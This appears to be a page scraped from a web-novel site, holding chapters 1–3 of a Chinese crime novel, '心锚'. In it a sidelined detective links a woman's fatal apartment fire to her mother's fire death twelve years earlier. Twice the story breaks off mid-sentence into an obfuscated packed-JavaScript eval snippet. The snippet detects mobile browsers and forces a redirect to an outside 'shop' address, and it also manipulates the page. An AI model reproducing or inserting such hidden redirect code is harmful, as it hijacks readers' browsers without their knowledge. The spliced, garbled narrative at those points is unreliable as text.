《心锚》 1. 壹 凌晨三点的世界,整座城市都沉睡在盛夏的静谧里。夜已深,暑气却未散,空气黏稠得连蝉鸣都失了力气,只有空调外机在黑暗中发出疲惫的嗡鸣。路灯昏黄,街道空旷,偶尔驶过的出租车亮着红色的空车灯,像夜海中孤独的舟。住宅区里,最后几扇亮着的窗也相继暗去,唯有门卫室里的警卫,在值班亭里一下下点着头。 就在这时,一声巨响撕裂了夜空。 城市一角,悦澜湾公寓十楼的一户人家突然炸开,玻璃碎片如雨倾泻。火舌从窗口窜出,在墨色的天幕下妖异地舞动,竟有种惊心动魄的美。火势迅速蔓延,浓烟触发了整层楼的警报。沉睡的人们被惊醒,慌乱地冲出家门——有人捂着口鼻,有人衣衫不整。电梯已自动迫降,所有人涌向平素少用的楼梯间。灰尘与烟雾混杂着哭喊、脚步声,恐慌如野火般在楼道里肆虐。 消防车的警笛由远及近,在静夜里显得格外凄厉。但对于远处熟睡的人们,这不过是梦里的杂音,想真正知晓今夜发生了什么,恐怕要等明天的新闻。救灾预案很是成熟,警车和救护车相继抵达,起火人家的明火还未完全扑灭,整栋楼的住户便已疏散完毕。 只不过到了这时,仍没有人知道,那户是否有人在家。 这是个已有年头的高档公寓,房价虽然不菲,却因位置稍偏,业主的入住率并不高,主要还是出租给在周边工作的高级白领。由于租客比业主多,导致大家并不熟络,邻里相遇,最多也就是在电梯里点头致意。关于爆炸那户,邻居只依稀记得是个独居的年轻女子,偶尔有个男人来访。自始至终,没人听见呼救,也没人看见逃生者。 小区警卫虽然积极配合,在消防队抵达前就尝试灭火,可常年不动的消防器械刚一启用便问题频发——消防栓水压微弱如溪流,水管几乎干涸无水。蓄水池水位也所剩无几,高层救火本就艰难,这些纰漏更是让黄金救援时间在焦灼中逐渐流逝。 明火甫一受控,不等余温散尽,消防员便借着云梯破窗而入,搜寻生命迹象。 炸点锁定在厨房,微波炉残骸扭曲变形,整个空间化作焦土,刺鼻浓烟中毫无生机。正当众人稍缓心神,以为无人伤亡时,一具蜷曲的焦影赫然映入眼帘—— 在厨房与客厅的交界处。 那已难称人体。头发与衣物早已焚尽,布料与皮肤熔融交织,通体深度灼伤,部分肢体已经炭化碎裂。面目已然无从辨认,连性别都成了谜。 救护车悄然退场,担架默默上前,一席白布覆下,将惨状与恐慌一同封存。由于涉及人命,后续便交由警方接手,进行现场查验。 现场勘察并未发现任何可疑痕迹,据此,警方初步认定这是一场意外的人祸——微波炉或因短路、操作失当而爆裂,导致一旁的燃气灶同步焚毁,进而引发了剧烈火灾。现场几乎没剩下什么,只有客厅角落躺着一只被烧的只剩拉杆的行李箱,同时一只烧融变形的水壶被炸至墙角。 根据散落的痕迹,警方大致拼凑出了死者最后的轨迹:他或她原本应在厨房内部,至少紧邻门口。爆炸气浪将人猛地掀飞,火焰瞬间裹满全身,行动能力顷刻丧失。 ——多重因素叠加连锁,最终酿成了这场灾难。 警方在后续走访中收获甚微,邻居们对那位住户的印象始终模糊,只依稀记得“是个挺漂亮的年轻姑娘”。直到初步尸检报告出炉,才最终确定死者确实是个二十到三十岁之间的年轻女性,结合卫生间牙刷与浴室中残留头发的DNA比对,也确认了死者正是住户本人。 受灾邻居连日向物业索要赔偿,物业在压力下也积极配合调查。缴费记录显示,该户所有费用均定期从一个属于“宋朗”的账户扣款,房产亦登记在其名下。由此,警方也注意到房主名下有一辆日系轿车,调取监控和小区自动抬杆系统后发现,案发当日凌晨近一点,该车独自驶回小区。 画面放大后,驾驶座上是一名年轻女性,后座还躺着一只巨大的玩具熊——初步推测,可能是“宋朗”的女朋友。 警方随后在地库中找到了这辆车。那个玩具熊仍静静地躺在后座,仿佛在等待永远不会归来的主人。 现场痕迹逐渐拼凑出悲剧的轮廓:女人深夜独自回家,或许是想煮点夜宵,却意外引发了剧烈爆炸。 但由于女子没有案底,因此尽管多方排查,仍是无从知晓其确切身份。直到警方拨通了宋朗的电话,那个从震惊与颤抖中艰难吐出的名字,才终于为这场悲剧赋予了姓名: 楚谕。 宋朗很快赶到现场。他是个三十出头的俊朗男子,身姿挺拔,此刻却面色惨白,眼中血丝密布,整个人像被抽走了魂魄。 “真的是她吗?你们能确定吗?”他反复追问,声音嘶哑,冰冷的双手止不住地颤抖。这一切来得太过突然,令他无法接受,更无法相信。 面对宋朗的崩溃,在场的警察与法医都保持着职业的沉默——他们早已见惯生死间的悲怆。 年轻警察伸手轻拍他的手臂,语气缓和:“宋先生,请先冷静。您和楚谕女士是什么关系?” “她是我......未婚妻。”宋朗的声音像是从胸腔里挤出来的。 “你们上次见面是什么时候?” “大概......一周前。我昨天深夜才出差回来。”他眼神涣散,整个人肉眼可见的颓废,“我工作太忙,我们连见面都要抽时间。” 年长的警察上前一步。他约莫四十多岁,身材精干,即使面对着死者家属,一双眼睛仍是锐利得让人不敢直视:“宋先生,抱歉这么问。但是,她最近有没有得罪什么人?或者卷入什么纠纷?” 宋朗猛地摇头,跌坐在墙边的长椅上。他双手用力抹了把脸,眼底血丝更重了:“她是个特别简单的人......最早在工厂做工,后来我心疼她太累,托人给她找了份文职。她每天按时上下班,几乎没有社交......难道你们怀疑有人害她?” “只是例行排查。”年轻警察眼见不妥,连忙接过话头。他看起来不过二十出头,制服穿在身上还带着几分生涩,“宋先生,现在需要您辨认一下遗体,之后我们再谈后续。” “可能......不是她吧?”宋朗喃喃自语,挣扎着站起身。从走廊到停尸房不过几步距离,他却走得浑身发软,那身挺括的西装在此刻显得格外不合时宜。 他脑中不断重复这个渺茫的希望,心里却清楚这不过是自欺欺人。 “请做好心理准备,”到了门口,年轻的警察不忍地补充,“遗体损毁严重,如果您不愿直视,我们也可以通过随身物品辨认。” “我还是......亲眼确认吧。” 话音未落,宋朗已随工作人员走进停尸间。白布掀起一角,刚刚露出焦黑碳化的皮肤,他便再也承受不住,猛地捂住嘴,转身冲了出去。 他双手撑墙,低头干呕,却什么也吐不出来。一片混乱之中,只有两滴泪仓皇坠地。 在他心里,楚谕始终是月光般皎洁的女子。他无论如何也无法将那个圣洁的形象,与白布下那具斑驳僵硬的焦尸联系起来。 心脏像是被狠狠攥紧,连呼吸都变得刺痛。 宋朗花了很久才勉强平复呼吸,可那可怖的画面仍如烙印般刻在脑海。警方递过需辨认的遗物:烧毁的衣物残片、半只毛绒拖鞋,还有一条项链和一枚戒指。 戒指已在高温中扭曲变形,只能剪开取下,细小的碎钻却留了下来,无声地确认着这具尸体的身份,也打破了宋朗最后的幻想。 “这是我送她的订婚戒......”他用指腹反复摩挲着戒圈,声音沙哑,“那天她非要选便宜的,说太贵的不敢戴出门......” 年轻的警察别过脸去。好好一个姑娘,本该拥有漫长的一生,怎么就落得如此结局? 始终沉默的年长警察此刻突然开口:“这条项链,你认识吗?” 他拎起证物袋,指尖点向那条乌黑残损的链子,语气里没有多少安抚,反倒冷硬得像在审问。 悲痛中的宋朗没有在意他僵硬的语气:“是她母亲留下的遗物,从我们相识起她就一直戴着。” “你见过它完好时的样子吗?什么材质?什么颜色?” “颜色很深......像是发黑的钢,并不起眼。这很重要吗?” 年轻警察意识到了不妥,皱了皱眉,轻轻碰了碰同事的手臂。年长警察缓缓放下证物袋,没再追问,目光却死死锁在项链上。 这条链子,他一定在哪见过。 记忆被岁月覆盖,一时难以追溯,但某种异样的直觉在他心中不断叫嚣——这绝不只是一场意外。 “请问她还有其他亲人吗?”年轻警察继续流程性地询问,“如果还有至亲,遗体应当由家人认领。” “没有了。她父母早逝,离家后再没回去。”宋朗闭上双眼,长叹一声。 案件就此盖棺定论。没有疑点,没有新线索。宋朗迅速处理了所有赔偿事宜,领回骨灰与遗物,选了一块安静的墓地将她安葬。一场意外而已,很快便会被世人遗忘。 只有那个名叫严疏的年长刑警,仍在反复翻阅案卷,无法释怀。 ———————————— 严疏其实将将四十,只是面相显老,与宋朗站在一起,竟像差了一轮。 他在警队虽算个前辈,却没什么存在感。从小地方派出所一路摸爬滚打到省城刑侦支队,不是没有成绩,也总冲在一线,可偏偏没经手过几桩能叫出名字的大案。表彰受过,真正的功勋却从未沾边,警衔更是多年未动。队里年轻人一茬接一茬,他这样守旧古板、敏感多疑的性子,越发显得格格不入。再加上他脾气压不住,投诉没少接,因此年轻警员大多不愿同他搭话,其他部门缺人时倒常借他去。 严疏自己清楚,再过三五年,或是犯个什么小错,他大概就会被调去后勤保卫之类的闲职,静静熬到退休。 因此,当他对这起明显单纯的火灾事故死咬不放时,旁人只私下议论,说他“想案子想疯了”、“急着证明自己”。这案子本不归刑侦管,一直由治安那边负责,只是那天原本负责接待宋朗的警员犯了阑尾炎,领导看他有接待家属的经验,才临时拉他凑数。 谁知他多问的那几句,反被年轻同事告了一状,说他面对死者家属时态度恶劣——可他觉得自己只是因为急切而导致有些生硬。 严疏向上汇报了自己的质疑,但他本是刑警,并不隶属治安分队,再加上拿不出具体的证据,因此没人搭理他这个编外人员的莫名怀疑。 案子很快封卷,以意外收尾——悦澜湾火灾事件。 唯有严疏不肯放手。 理由只有他自己知道——他确信自己见过那条项链。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352883|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是在商场,也不是在什么寻常地方——否则心头不会萦绕这种诡异之感。 那并非名贵首饰,甚至不是金银质地,却也正因如此,在经历火灾后轮廓仍然可辨。吊坠样式并不精致,却也不太寻常:人们常将星星月亮挂在胸前,设计得温柔浪漫,这一枚却是一弯纤细而锋利的月亮,紧紧环抱着一枚图腾风格的太阳。太阳的火焰以三段折线刻画,本可独立成坠,却与那弯冷月共生共栖,显得颇为冗余,像一件浮夸的纪念品。 他当然知道,这种吊坠很可能会在多处售卖。可那种直觉始终如影随形,驱使他每天反复查看项链的存档照片,却又一无所获。 直到某个深夜,严疏被一场熟悉的噩梦攫住,再次惊醒。梦里,那个惊慌失措的男孩,又一次仓皇闯入派出所,却在与他视线相接的瞬间,如同受惊的野兔般扭头逃窜。 他坐起身,摸索着拧开一瓶水,冰凉的瓶口刚触到干涸的嘴唇,动作却猛地僵住。 他终于想起,自己是在哪里见过的这条项链—— 另一具焦尸上。 同样是烈焰焚身。那具遗体的惨状,比起楚谕,有过之而无不及。 项链款式或许会有巧合。 可一模一样的项链,出现在相隔十多年的两具焦尸上——这样的巧合,未免太过残忍,也太过蹊跷。 ———————————— 第二天一早,严疏就直奔户籍科。他想调阅楚谕的户籍资料,却因没有上级批条,被值守的警察硬生生拦了下来。 “兄弟,通融一下,”严疏不常做这种事,动作和笑容都显得相当僵硬。他伸手拍了拍对方的肩,力道却没控制好,反倒让人皱着眉侧身躲开了,“抽根烟,给个面子。我不干坏事,就查个已故人员的亲属信息,看看有没有遗漏。” “那案子不是结了吗?”对方把烟推了回来,“该查的之前不都查过了?你想知道什么,去问当时经手的人不就得了!” 严疏语气里透出烦躁,还夹着一丝不易察觉的轻蔑:“他们也就是走个过场,知道没亲属可通知就算了结。查案这种事,终究得自己亲眼看过才算数,听人转述哪能作准?” “没条子真不行,这口子我可不敢开。”户籍警摆摆手,不再看他。 严疏“啧”了一声,只能回到工位,陷进椅子烦躁地转着方向。或许等换班后可以再试试——尽管他知道自己在这栋楼里没什么情面可言,希望相当渺茫。 他其实并非没有别的门路。在这个普通人都能挖出他人背景的时代,查一个楚谕这样的外来流动人口,户籍系统里的信息反倒未必是最新的。但,他偏要这样明着来。 因为他知道,自己这番举动很快就会传到上面。如果他主动去申请重启调查,队长老赵多半半句话不听就直接把他轰回来。但如果是赵队主动来找他训话——情况或许就不同了,那反而是他插话的唯一机会。 “严疏!给我过来!” 果然没等到下班,赵队从外面开会回来,人刚进办公室就吼了一嗓子。整个大厅的目光齐刷刷投向严疏——他刚把烟叼在嘴里,闻声又塞回口袋,快步跟了进去。 “你又作什么妖?”赵队站在办公桌后,手指几乎戳到他面前,“手里堆着那么多案子,你查哪个不行,非跟一个已经结案的火灾过不去?这压根不是刑事案件,说到底不归咱管,我们之前就是例行问个话!你还想大办特办?” “赵队,您听我说,这案子真不简单。”严疏往前凑了凑,搬出早已想好的话术:“首先,现场没找到手机吧?一个年轻女孩,可能没手机吗?” “手机电池遇热爆炸,早烧化了,没找到很正常!家属都没异议,你操什么心?” “还有起火原因,微波炉炸成那样,是一般短路能造成的吗?更何况现场根本没看到食物残渣......” “窗口全是明火,人都快烧没了,你还指望留下什么残渣?”赵队翻了个白眼,重重坐进椅子,半转过去不正眼看他,“总之,没有任何明确线索指向人为,家属也接受意外结论,案子又已经结了,你别没事找事!” 严疏见赵队态度坚定,只好拿出底牌。他掏出手机,翻出项链照片,冲向桌前:“您看这个,是从死者脖子上取下来的。十几年前,我刚当警察时经办过一起火灾,死的也是个女人,我清清楚楚记得,她戴着一模一样的项链!” 赵队顿了一下,目光在屏幕上停留片刻:“你确定?十几年前的一条项链,还能记这么清楚?而且如果也是火灾,这项链早该烧毁了吧。” “我有印象就是因为这项链比较特殊,它链子是纯金属的,比较粗。当时那条是有损毁,但可以修复!就算不是同一条,戴这款项链的两个人都死在火灾里,有点太巧了吧?” “老严,咱国家有多少人口?没证据你跟我谈巧合?照你这么想,我们全队累死也查不完!”赵队说着闭上眼,不耐烦地挥手:“出去!该干嘛干嘛,别再为这事骚扰其他科室!” 严疏牙关紧咬,知道再说无益,只好转身而出。 他清楚没人会帮他。这种案子明面上毫无价值,而且他也拿不出任何证据来链接两起火灾。更何况十几年前的那起案子,最终定性是自杀,早已尘封。 可他就是放不下。 那份执念深埋心底,只有他自己知晓缘由。 2. 贰 严疏找到当初负责此案的警员,仔细询问了楚谕的户籍情况。对方一脸不解,觉得他纯属没事找事——档案显示楚谕的通讯地址早已过期,户口本上只有母亲一栏,状态标注为“已故”。而且这么多天过去,也确实没有其他亲属出现。 知道走正常途径不会再有什么发现,严疏当晚便联系了一位“信息从业者”——虽然人缘不行,但干了这么多年刑警,也算有些特殊人脉。对方自有门路深挖信息,但开价不菲,尤其因着清楚严疏的身份,彼此都求个稳妥。严疏也没犹豫,他老光棍一个,平日花销不大,多年工作也有些积蓄。 三天后,资料如约而至。不仅包括楚谕及其亲属的信息,还有她在此地的工作记录、社交账号和手机号。号码已注销,无法复原,但现有的内容已足够拼凑出一个人的人生轨迹。 楚谕的履历干净得有些简洁。学历不高,但一直规规矩矩打工,做过几份服务业的零工,最后稳定在一家服饰厂车间。照片里的女人眼神清澈得像未出校门的学生,可资料分明显示她十几岁就独自在异乡挣扎。即便艰辛,她却也从未涉足过酒吧KTV之类的快钱工作——正如宋朗所说,是个崇尚简单的姑娘。 然而,一个细节引起了严疏的注意:楚谕曾两次改名。她最初叫楚遇,后来改为邹遇,最终才定为楚谕。严疏对这几个名字本身并无印象,可看到她母亲姓名的一瞬,他心脏猛地一跳。 她的母亲叫邹婷。 这名字其实很是普通,却唤起了一种遥远而确切的熟悉感——比初见项链时更为模糊,但又真实存在。 他一边努力捕捉模糊的记忆碎片,一边继续翻阅。资料中关于楚谕父亲的信息极少,似乎一直是母女相依为命,户口也是独立的,推测父亲不是早已离家,就是不在人世。当目光扫过“童年生活区域”那栏时,“汕城”二字令严疏如遭电击,“找对了”的直觉让他毛骨悚然,却又抑制不住地兴奋。 他猛地起身踢开椅子,冲到书柜前翻找自己的办案笔记。从警以来,所有经手案件——小至醉酒斗殴——他都有详细记录,只为有朝一日再遇时能立刻想起。此刻,他抽出了左手边第一本,那是他参加工作第一年留下的记录。 当时他刚实习,根本没资格出外勤,整天就是接电话、递材料,还常值夜班,这也导致那一年的记录零碎而稀疏。严疏拿着本子回到电脑前,几步路的功夫,还没坐下,目光就锁定了目标。 手掌重重落在大腿上,嘴角因激动而向一边扯起。他就知道,自己的感觉绝不会错。 “邹婷”这个名字,赫然出现在那泛黄的纸页上,事发时间标注得清清楚楚——她,就是十二年前那场火灾的死者。 也是......楚谕的母亲。 母女二人,相隔十二年,戴着同一条项链,以几乎相同的方式焚于火海。 这若还能称之为巧合,未免太过可笑。 关于改名,严疏推测:楚谕在父亲离开后,短暂改随母姓“邹”,母亲去世后,又改回父姓“楚”。过程虽显折腾,倒也符合人之常情,只是他有些想不通——在她的人生轨迹里,既然父亲的存在感如此稀薄,为何还要在母亲死后执着地改回“楚”姓? 鉴于楚谕的社会关系极为简单,几乎没有挚友,严疏只好将突破口放在宋朗身上。他仔细记下心中的疑点,准备改日再访这位未婚夫。 不过在那之前,他还想尝试寻找另一个人。 资料中几乎找不到楚谕过去的生活照,唯有一张中学班级合影,其中楚谕的位置已被圈出——第二排中间偏右。照片像素粗糙,面容模糊,与如今的她判若两人。但严疏的目光并未在她身上停留,而是竭力放大图像,仔细审视后排每一张男生的脸。 那些面孔都太稚嫩了。他反复辨认两圈,最终将其中一个男生的影像放大至屏幕中央。那男孩模样清秀,短发利落,肩膀微塌,神情沉静不露笑容,却带着一股温和的书卷气。 严疏盯着这张稚嫩的脸,眉头紧锁,片刻后重重靠向椅背,缓缓吐出一口气。 是他吗? 十二年光阴流逝,记忆中的面容,仿佛隔着一层被雨水浸透的毛玻璃,朦胧难辨。 ********* 几天后,趁赵队外出、局里事务不多的下午,严疏开着公务车去找宋朗。作为上市企业在此地的分公司高管,宋朗称得上是年少有为。根据他的了解,宋家颇为殷实,经营着规模不错的家族企业,身为长子的宋朗在外履职多半是为积累经验,便于日后接手家业。 到了公司,严疏直接在前台亮出警官证,要求与宋朗面谈。 不巧的是,宋朗不在公司。前台代为通话后告知,他大约一小时后才能返回。 “没关系,我可以等。”严疏说完便在大厅休息区坐下。前台虽感意外,却不敢怠慢,立刻奉上一杯柠檬水。 这栋写字楼由公司自建,园区独立,与周边企业隔绝,此时往来穿梭的都是内部员工,想必多少都听说过宋朗其人。严疏其实很想找人搭话探听,可但凡他目光稍作停留,无论男女,不出两秒便会加快步伐避开。他不由得暗自苦笑:想当年自己也曾是个眉眼温顺的少年,怎就渐渐磨成了这副人见人怕的凶相? 宋朗相当准时,将近一小时便匆匆赶回,但步履急促,显然并非为了接待严疏,而是另有工作缠身。经过大堂时他并未留意,直到前台姑娘出声提醒,他才发现坐在一旁等候多时的严疏。 “您是上次那位警官......”宋朗一时想不起对方的名字,连姓氏似乎也毫无印象,神色间略带歉意。 “姓严,严疏。”严疏草草晃了下证件,开门见山,“有几个关于楚谕的问题想再请教您,不会耽误太久。” 听见“楚谕”二字,宋朗脸色骤然一沉。他在沙发坐下,肩背仍绷得笔直,双手无意识地在膝上摩挲两下,低声道:“已经过去这么多天了......还有什么事吗?” “你知道楚谕改过名字吗?” 宋朗眉头微蹙,摇了摇头:“不知道。但这......有什么问题吗?” “没什么。那她有没有提过,她母亲是怎么去世的?” “严警官,”宋朗语气明显冷了下来,“我不明白为何要一再深挖逝者的隐私。让她安息,这不好吗?” 严疏脸上掠过一丝淡笑,却并未松口:“所以,她提过吗?” “抱歉,我马上要开会,失陪了。” 宋朗起身草草点头,随后转身大步走向电梯。即使他已肉眼可见的不耐,却仍保持着无可挑剔的礼仪。 严疏并未阻拦,只是摸着下巴目送他走进电梯,嘴角不自觉地挑起。虽然宋朗没有回答,但严疏确信,他确实不知情。 严疏觉得这其实也不难理解——像宋朗这样家境优渥的男人,爱上一个出身平凡的姑娘,或许可以付出全部真心,却未必会对她的过去真正产生兴趣。说不定对宋朗而言,楚谕若能彻底与不够体面的往事割裂,反而是件好事。 按常理,涉及年轻女性的命案,首先被怀疑的往往是情感纠葛中的男性,但严疏并不怀疑宋朗。一来,宋朗的乘机记录确凿,没有作案时间;二来,他根本没必要这样做——即便楚谕真的在外面红杏出墙,他也不值得为此赌上自己的大好前程。 更何况,宋朗身上有种近乎刻板的正直,举止一板一眼,大抵是家庭教育所致。他的人生顺风顺水,在感情方面,其实也相当简单——武断一点地说,他甚至不会想到“报复”二字。 ********* 明知道宋朗并非嫌疑人,严疏却仍隔三差五地“拜访”。第二次、第三次,宋朗碍于教养还会出面,但每次都不欢而散。最后一次,宋朗干脆直截了当地问他是否怀疑楚谕的死另有隐情,严疏却以“仍在了解情况,案件不宜透露”为由,滴水不漏。 “既然如此,请您以后不要再来了。”宋朗站在公司大厅里,面色铁青,声音克制却带着不容置疑的力度,“失去挚爱已经足够痛苦,我不需要一个警察一而再、再而三地揭我伤疤。我更不希望有人仅凭无端猜测,就去怀疑、甚至污蔑一个已经逝去的人。” “我只是在寻找真相。”严疏试图含糊其辞。 “真相能让她活过来吗?”宋朗的声音因激动而微微发颤,“我们原本计划明年年初结婚。你结过婚吗?有女朋友吗?能理解我的感受吗?难道为了你口中所谓的真相,别人就该不断付出代价吗?” 许是顾及场合,他强压着情绪,垂在身侧的手却止不住地轻颤。他深吸一口气,努力平复下来:“她是我见过最单纯善良的女孩,却死在我为她准备的房子里,死得那么痛苦......我现在只希望夜里能不做噩梦,而不是追寻什么于事无补的真相!更何况,你手里根本没有任何证据!” 说罢,他转身离去,背影里仿佛都燃烧着压抑的怒火。严疏摇了摇头,心知从宋朗这里再也问不出什么,看来必须另寻他路了。 就在这时,公司大门滑开,一个少女小跑着从他身边经过,清脆地喊了声:“哥!” 严疏下意识循声转头,只见已经踏进电梯的宋朗又退了出来。他脸色依旧难看,却勉强对女孩挤出一丝笑容,随即两人一同进了电梯。 “那是他妹妹?”严疏转向前台。 前台姑娘虽不清楚具体缘由,却也看得出宋总与这位警官谈得并不愉快。被严疏一问,她顿时无措,咬着嘴唇连连摇头,干脆坐下假装忙碌,一副“不听不说不知道”的姿态。 严疏不好再追问,便走出大楼,在门口徘徊。他身着便衣,神色阴沉,引得一旁的警卫频频侧目。他只好冲对方笑了笑,叼起一根烟,却没有点燃。 大约半小时后,那个喊“哥”的女孩走了出来。她穿着一条繁复的蕾丝连衣裙,妆容精致,但仍掩不住面容的稚嫩。她与宋朗年龄差似乎不小,看起来比楚谕还要年轻几岁。 “你好——”严疏侧步拦在她面前,“我是......” “我知道你是谁!” 女孩挑眉打断他,表情远比宋朗丰富,白眼翻得干脆利落,“我哥就是脾气太好,才什么人都敢来纠缠。我已经打电话到你们局里投诉了!反复骚扰死者家属,没这个道理!” 听到“投诉”二字,严疏习以为常,不以为意,只是问道:“所以你是宋朗的妹妹?亲妹妹?” “对,我叫宋晴!投诉电话就是我打的,想报复冲我来,别再拿那个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352884|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的事烦我哥!” 严疏微微眯眼。从身份上看,楚谕是宋晴未来的嫂子,意外惨死,至今时日未久,小姑子怎会用如此生冷疏离的“那个女人”来指代? 宋晴临走前又瞪了严疏一眼,小高跟踩得气势十足,却没能掩住她低声嘟囔的那句:“真是死了都不让人消停!” 看来,宋朗的这位妹妹,对她未来的“嫂子”意见不小啊。 回到车里,严疏终于点燃了那支烟。在缭绕的烟雾中,他缓缓露出了笑容。 总算,让他找到了一个突破口。终于不再是千篇一律的“楚谕是个简单的人”了。 这,是个不错的开始。 ********* 严疏坚信,这两起相隔十二年的火灾绝非孤立。即便不是凶杀,其中也必然隐藏着不为人知的秘密——单是“隐藏秘密”这件事本身,就足以勾起他全部的兴趣。 从警校毕业起,他一心就想当个破案的刑警,几经周折总算如愿调进大城市的刑侦队,可这些年来,却从未真正接手过一桩称得上“复杂”的案子。如今社会治安良好,恶性事件本就不多,偶有发生,嫌疑人通常也很快落网。电视剧里那些机关算尽、丧尽天良的罪犯,他一个也没碰上过——或许正因如此,他平日里总显得有几分意兴阑珊,觉得生不逢时。 当然,身为警察,他绝不能盼望发生恶性案件,理当希望自己永远清闲无事。可严疏控制不了——每当嗅到不寻常的案子,内心深处总会难以抑制地涌起一股兴奋。 尤其是眼前这桩。它牵扯出的,还是他心底一个沉寂多年的疙瘩。 他原以为这个深埋心底的结,此生再无机会触碰。岁月层层覆盖,他几乎已经习惯了它的存在——如同身体里一块无法消融的旧伤,不显眼,却总在阴雨天时隐隐作痛。 可命运,竟以这样意外的方式,将线索再度推到他的眼前。 这一次,他绝不能再度放手。 一种近乎宿命的战栗感攫住了他。这些年,他的精神像一把被束之高阁的旧剑,在日复一日的琐碎之中蒙尘生锈,但此刻,却清晰地感受到了来自时光深处的嗡鸣。 如果人的一生,总需要一件事来锚定存在的意义,来证明这把心剑并非装饰,那么对他严疏而言,恐怕就是眼前这一件了。 它不仅关乎真相,也许还......关乎救赎。 烟还没抽完,赵队的电话就吼了过来,命令他立刻回去。严疏心知所为何事,却连油门都没加重半分,依旧不紧不慢地开着车,中途甚至哼起了老歌。 回到局里,自然是一顿劈头盖脸的斥责。赵队其实比他大不了几岁,也难怪那些年轻同事私下都觉得严疏是个废物。他任由赵队训斥,一声不吭,直到对方骂够了,才缓缓开口:“我上次提过,在另一具尸体上见过那条项链。现在可以确定,就是同一条。因为那具尸体,就是楚谕的母亲——她们母女二人,以几乎相同的方式葬身火海。” “谁允许你私自调查的!”赵队先是厉声呵斥,随即眼神却移向别处,声调也低了下来,“......真是母女?” “千真万确。”严疏拉过椅子坐下,露出一丝笑意,“宋朗之前也证实,楚谕说过项链是她母亲的遗物。” “两起案子隔了多久?” “十二年。准确的说,是十二年半。” “这么久......如果不能合并侦查,基本不可能判定是连环作案。”赵队沉吟片刻,“会不会是寻仇?” “那得查了才知道。” 赵队这才意识到自己险些被他说动,无奈地叹了口气:“查不了。尸体都已经火化了,我们也没做尸检,就算真查出什么,也很难取证。十几年前的旧案,还不是我们辖区,翻案基本不可能。你就让我省点心吧,现在有个诈骗案,金额挺大,你去帮经侦搭把手,行不?” “我想休假。”严疏突然说。 “休几天?” “越长越好。” “严疏!信不信老子革你的职!”赵队气得拍桌而起,居高临下地瞪着他,却只对上一脸“死猪不怕开水烫”的漠然。他瞪眼片刻,随即叹了口气,无力地朝门口一挥手,“走走走!反正有你一个不多,没你一个不少!手机24小时开机,随时待命!爱干嘛干嘛去,别在我眼前晃!” “好嘞!” 严疏利落起身,推好椅子,敬了个礼转身就走。身后传来赵队极不情愿的警告:“说好了,休假没工资!还有,这段时间你要在外面惹出什么麻烦,我绝不会包庇你,自己掂量着办!” “得令!” 严疏没回头,只是竖了竖大拇指,大步流星地迈出门去。他心情大好,难得地跟沿途同事打起了招呼,还怪声怪调地哼着:“我放假啦——放假啦——” 大家都只是敷衍地笑笑,各自忙着手头的事,没人多看他一眼。 严疏心里清楚,赵队能批下这个假,本身就是一种默许。只是眼下缺乏真凭实据,无法正式立案。倘若他能找到哪怕一丝证据,证明这不是意外,背后真有凶手——届时才能名正言顺地申请侦办。 所以,他得自己去查。 若真出了什么纰漏,他一人担着便是。 3. 叁 想调查宋晴并不难。严疏开着自己的车,在宋朗公司外蹲守了几天,就等到了她的身影。 他不远不近地跟着,最终跟着她搭乘的专车停在了一所大学门口。严疏把车停在马路对面,看见宋晴并没进校门,而是熟门熟路地钻进了早已停在路边的一辆车。驾驶座车窗半降,开车的也是个年轻女孩,年纪与宋晴相仿。 严疏尾随了宋晴大半天。这年轻姑娘显然毫无反跟踪意识,走路从不回头,他甚至无需刻意隐蔽。只是她的生活轨迹实在乏善可陈——和几个姐妹凑在一起,无非是逛街、吃饭、随时随地停下自拍,把严疏看得直打哈欠。直到晚饭后,宋晴与一位女伴拐进一条灯火迷离的小路,推开一家酒吧的门,瞬间,门内溢出的流光与躁动音乐撕裂了夜的沉寂。 严疏跟进去,找了个角落坐下,点了瓶啤酒慢悠悠地喝,眼睛却始终盯在舞池里的宋晴身上。 一个小伙子几杯酒下肚便得意忘形,在荷尔蒙的驱使下手脚开始不规矩。严疏饶有兴致地看着,却见方才还笑靥如花的宋晴瞬间冷了脸,扬手干脆利落就是一记耳光。那男孩被打得发懵,愣在原地,眼睁睁看着她转身离去,也没敢追上去。 这丫头脾气够烈的,和她哥哥那克己复礼的性子截然不同。严疏无声地笑了笑,继续喝他的酒,心想老幺就是受宠,何况还是个姑娘。 他又跟了宋晴几次,发现她确实是个爱玩的。虽是在校学生,一周里倒有三四个晚上泡在酒吧。反正家在本市,回不去宿舍也无妨,而且她似乎还有自己的住处。她常光顾的酒吧都集中在同一个区域,尤其偏爱其中一家——都是那种光线暗得辨不清面容、音乐吵得人脑仁发胀的地方。 严疏开始在这两家酒吧里和人搭话,只是他这身洗得发旧的外套,实在与周遭格格不入,常被女孩们半真半假地嫌弃为“大叔”。这个称呼里不含半分韩剧式的浪漫,只剩赤裸裸的年纪隔阂与格格不入。 “大叔,你就别想着吃嫩草啦,她都快能当你闺女了!”一个眼皮上闪着银粉的女孩嗤笑完,便不再理他。 “她啊,好像挺有钱的,”一个自称和宋晴斗过舞的男生说,“每次来都点一堆东西,有时还顺手送给邻桌。不过眼光挺高、脾气挺大,只跟看得上眼的人玩。” 